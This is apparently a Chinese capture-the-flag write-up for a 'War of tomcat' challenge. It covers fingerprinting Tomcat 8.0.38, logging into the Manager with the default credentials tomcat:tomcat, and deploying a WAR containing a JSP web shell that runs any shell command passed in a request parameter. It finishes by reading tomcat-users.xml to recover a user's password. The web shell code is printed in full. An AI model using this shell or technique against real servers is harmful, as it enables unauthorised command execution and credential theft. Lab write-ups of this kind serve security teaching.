war of tomcat 题解
war of tomcat 题解
0x01 信息收集
题目是War of tomcat 说明是tomcat, 从HTTP Header的Apache-Coyote/1.1和Cookie里面的JSESSIONID字段也能看出来
请求一个不存在的页面,错误页底部会报 Apache Tomcat/8.0.38
目录探测:
| 路径 | 结果 |
|---|---|
/docs /examples | 200 |
/manager | 302 → /manager/html |
/manager/html | 401,WWW-Authenticate: Basic realm="Tomcat Manager Application" |
/host-manager | 401 |
尝试弱口令tomcat:tomcat
成功进入后台
0x02 恶意 WAR 上线
写一个执行命令的 JSP,打成 WAR,丢进 manager 后台让它自动部署
<%
String c = request.getParameter("c");
if (c != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", c});
java.io.InputStream in = p.getInputStream();
int b; while ((b = in.read()) != -1) out.print((char) b);
}
%>
打包成 WAR(其实 WAR 就是 zip):
zip shell.war cmd.jsp
上传,然后用中国蚁剑的CMDLINUX模式连接

0x03 找 Flag
题目要求读取 melody 用户的密码
Tomcat 部署经常把密码写在 conf/tomcat-users.xml
读取即可